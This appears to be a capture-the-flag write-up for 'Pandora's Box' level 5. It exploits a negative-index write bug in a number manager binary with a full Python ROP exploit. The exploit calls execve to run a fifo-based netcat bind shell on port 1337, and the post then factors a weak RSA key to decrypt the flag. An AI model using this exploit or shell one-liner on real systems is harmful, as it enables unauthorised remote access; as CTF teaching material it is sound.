Pandora’s Box – Level 5

Finally, the last level! Level 5 is a “simple number manager”. It is similar to the note manager as it allows to store up to 10 numbers. That’s… really useful.. 😛

Level 5, dimple number manager

Level 5, simple number manager

After some looking around I noticed this binary accepted negative id numbers (level 2 did also accept negative id numbers btw!). I started looking at the disassembly and the only check the program does on the inputted id is if it is equal to or higer than the list size. So negative id numbers are seen as valid id’s and we are probably writing outside the boundaries of the int array. let’s verify this..

Algoritme for storing numbers in it's int array

Algoritme for storing numbers in it’s int array

Algoritme for storing numbers in it’s int array (decompiled)

We can clearly see that the application:

  1. Checks input for the “set” command
  2. Reads in an id into it’s input buffer
  3. Converts that id to a number (strtoul)
  4. Checks if that id is <= 9
  5. Reads in a value into it’s input buffer
  6. Convert that value to a number
  7. Stores the value into the array at the read index number

So, if we give the application a negative id we can patch 4 bytes somewhere on the stack. We can use this approach to overwrite the nrmanager function’s return address and trigger a ROP chain. Also, we can bypass the stack cookie checks easily because we have control over which addresses we patch(we don’t overwrite the stack cookie).

For the above approach to work we first have to determine at which negative index the return address of nrmanager actually is! I build a little python function that dumps the stack using the get command of the number manager program (which has the same negative index vulnerability as the set command). I started looking up the possible addresses I just dumped and determined the nrmanager return address is stored at index -234.

################################################
# Helper fuction to dump the stack in a formatted way
################################################
def DoStackDump(rng, tag): 
	proc = subprocess.Popen('./level5',stdout=subprocess.PIPE, stdin=subprocess.PIPE) 
	#header
	print proc.stdout.readline(),
	print proc.stdout.readline(),
	print proc.stdout.readline(),
	print proc.stdout.readline(),
	print proc.stdout.readline(),
	print proc.stdout.readline()
 
    cmd = PrintStackDumpCmd(rng, tag)
    proc.stdin.write(cmd)
    proc.stdin.flush()
    proc.stdout.readline()
 
    for i in rng:
        line = proc.stdout.readline() 
        val = int( ParsePrintMemResponse(line) )
        if(val == tag): 
            print "[%.3d]: %s, 0x%.8x [TAG]" % (i, str(val).ljust(10), val)
        else:
            print "[%.3d]: %s, 0x%.8x" % (i, str(val).ljust(10), val)

Again, this binary is statically linked so there are enough usable ROP gadgets available. Just like in the previous level I reused my payload and only had to look up the new gadget addresses. Soon I saw the familiar “process 9881 is executing new program: /bin/sh” text showing up in GDB. There was only one catch.. The shell closed immediately  🙁 . I started playing with the -c parameter to execute commands through the command line of /bin/sh and that seem to work! Normally we would start netcat with the -e option to pipe input to bash or something but the local netcat binary in the vm didn’t have that option. With clever usage of fifo files/named pipes we can still simulate the -e option: 

/bin/sh -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc -l 1337 > /tmp/f"
Level 5 exploited

Level 5 exploited

And here is my complete python exploit:

import struct
import subprocess
import re


ROP_mov_edx_eax = 0x80795a1
ROP_pop_edx = 0x8053816
ROP_pop_eax = 0x80a8406
ROP_pop_ecx_pop_ebx = 0x805383d
ROP_syscall = 0x8053f90
ROP_int3 = 0x80a866f

bss_section = 0x080caf40


################################################
# Split string every Nth charachter
################################################
def SplitNth(line, n):
    lst = [line[i:i+n] for i in range(0, len(line), n)]
    return lst

################################################
# Implodes array with specified seperator
################################################
def CombineArray(arr, seperator):
    return seperator.join([str(x) for x in arr])

################################################
# Fuction to control the set int array functionality
################################################
def PatchMemory4BCmd(arrIndex, value):
    bts = value.ljust(4, '\x00')

    buf = "set\n"
    buf += "%d\n" % arrIndex
    buf += "%d\n" % struct.unpack("<L", bts)[0]
    return buf

################################################
# Helper fuction to patch continous memory by chaining PatchMemory4BCmd commands
################################################
def PatchMemoryCmd(startArrIndex, buf):
    result = ""
    arr = SplitNth(buf, 4)
    indx = startArrIndex
    for bytes in arr:
        result += PatchMemory4BCmd(indx, bytes.ljust(4, '\x00'))
        indx += 1
    return result

################################################
# Return a single command for the int array lookup functionality
################################################
def PrintMemoryCmd(arrIndex):
    buf = "get\n"
    buf += "%d\n" % arrIndex 
    return buf

################################################
# Parse the response for a int array mem lookup, return only the value
################################################
def ParsePrintMemResponse(line):
    m = re.search('> > id: value: (\d+)', line)
    if(m == None):
        return None 
    return m.group(1)

################################################
# Fuction to create a stack dump command string
################################################
def PrintStackDumpCmd(rng, tag): 
    buf = "set\n"
    buf += "%d\n" % 0
    buf += "%d\n" % tag

    for i in rng: 
        buf += PrintMemoryCmd(i)
    return buf

################################################
# Helper fuction to dump the stack in a formatted way
################################################
def DoStackDump(rng, tag):
    proc = subprocess.Popen('./level5',stdout=subprocess.PIPE, stdin=subprocess.PIPE) 
    #header
    print proc.stdout.readline(),
    print proc.stdout.readline(),
    print proc.stdout.readline(),
    print proc.stdout.readline(),
    print proc.stdout.readline(),
    print proc.stdout.readline()
 
    cmd = PrintStackDumpCmd(rng, tag)
    proc.stdin.write(cmd)
    proc.stdin.flush()
    proc.stdout.readline()
 
    for i in rng:
        line = proc.stdout.readline() 
        val = int( ParsePrintMemResponse(line) )
        if(val == tag): 
            print "[%.3d]: %s, 0x%.8x [TAG]" % (i, str(val).ljust(10), val)
        else:
            print "[%.3d]: %s, 0x%.8x" % (i, str(val).ljust(10), val)

################################################
# Helper fuction to copy memory using ROP gadgets
################################################
def ConstructBufferCopyROP(dst, buf):
    arr = SplitNth(buf, 4)
    buf = ""
    ptr = dst
    for bytes in arr: 
        buf += struct.pack('<L', ROP_pop_edx)
        buf += struct.pack('<L', ptr) #EDX

        buf += struct.pack('<L', ROP_pop_eax) 
        buf += bytes.ljust(4, '\x00') #EAX

        buf += struct.pack('<L', ROP_mov_edx_eax) #COPY
        ptr += 4
    return buf



################################################
# Get ROP buffer
################################################
def GetROPBuffer():
    buf = ""
    #put execve argument strings in memory
    execve_args = ["/bin/sh", "-c", "mkfifo /tmp/tmp_fifo; cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1337 > /tmp/tmp_fifo"]
    execve_args_buf = CombineArray(execve_args, '\x00') + "\x00"
    buf += ConstructBufferCopyROP(bss_section, execve_args_buf)
 
    #-------------------------------------------
    #Construct pointer array to those strings and write to bss_section + len(string array)
    ptr_arr = []
    ptr = bss_section
    for arg in execve_args:
        ptr_arr.append(struct.pack('<L', ptr))
        ptr += len(arg) + 1 #+1 for NULL string terminator
    ptr_arr.append(struct.pack('<L', 0)) #terminating NULL pointer
    ptr_arr_dst = bss_section + len(execve_args_buf)
    ptr_arr_buf = CombineArray(ptr_arr, '')
    buf += ConstructBufferCopyROP(ptr_arr_dst, ptr_arr_buf)

    env_dst = ptr_arr_dst + len(ptr_arr_buf)
    buf += ConstructBufferCopyROP(env_dst, "\x00")

    #-------------------------------------------
    #Create a syscall to execute execve

    buf += struct.pack('<L', ROP_pop_eax) 
    buf += struct.pack('<L', 11) #EAX, prepare for syscall. 11 == execve 

    buf += struct.pack('<L', ROP_pop_edx)
    buf += struct.pack('<L', env_dst) #EDX/env, point to NULL

    buf += struct.pack('<L', ROP_pop_ecx_pop_ebx)
    buf += struct.pack('<L', ptr_arr_dst) #ECX/arguments
    buf += struct.pack('<L', bss_section) #EBX/points to the string /bin/sh


    buf += struct.pack('<L', ROP_syscall) #Go craaaaaaazzyyyyyyy!!!

    buf += struct.pack('<L', ROP_int3)
    return buf



if(__name__ == "__main__"): 
    #DoStackDump(range(-500, -1), 1337)
    #buf = PrintStackDumpCmd(range(-500, -1), 1337)

    ropBuf = GetROPBuffer()
    buf = PatchMemoryCmd(-234, ropBuf) #-234 is the index where the nrmanager return address is.
    buf += "exit\n"
    print buf

 Ok we exploited level 5 but we are not quit there yet. We have seen the flag but it’s encrypted with RSA 256. We got N and E and using this tool for example, we can try factorize N into primes P and Q. If we have P and Q we can calculate private exponent D and then decrypt the encrypted flag. I came to the following values:

p = 0xED7AC815E3593C73371108D053E60133
q = 0xE4E67FA5E8151C7DE8C1496A8974B423
d = 0x19158B4B1E5491DED9E13A97537AB92D032FF8ACB96ABE19C8C67A4DC277BFB9

I decrypted the key with this RSA implementation in python:

Level 5 flag

Level 5 flag